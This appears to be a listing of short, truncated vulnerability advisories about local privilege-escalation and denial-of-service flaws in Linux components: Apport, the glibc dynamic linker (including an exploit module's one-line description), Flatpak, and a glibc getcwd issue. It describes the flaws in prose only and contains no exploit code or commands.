Apport Denial of Service Vulnerability (CNVD-2018-05468)
Ubuntu is a desktop-oriented GNU/Linux operating system developed by Canonical and the Ubuntu Foundation, and Apport is a toolkit that collects and provides feedback on errors information that the operating system finds useful when an application crashes. A security vulnerability exists in Apport...
CVE-2017-14177
Apport through 2.20.7 does not properly handle core dumps from setuid binaries allowing local users to create certain files as root which an attacker could leverage to perform a denial of service via resource exhaustion or possibly gain root privileges. NOTE: this vulnerability exists because of ...
glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation
This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library glibc dynamic linker. glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the LDAUDIT environment variable when loading setuid executables...
CVE-2017-9780
In Flatpak before 0.8.7, a third-party app repository could include malicious apps that contain files with inappropriate permissions, for example setuid or world-writable. The files are deployed with those permissions, which would let a local attacker run the setuid executable or write to the...
USN-3536-1: GNU C Library vulnerability
It was discovered that the GNU C library did not properly handle all of the possible return values from the kernel getcwd2 syscall. A local attacker could potentially exploit this to execute arbitrary code in setuid programs and gain administrative privileges. CVE-2018-1000001...
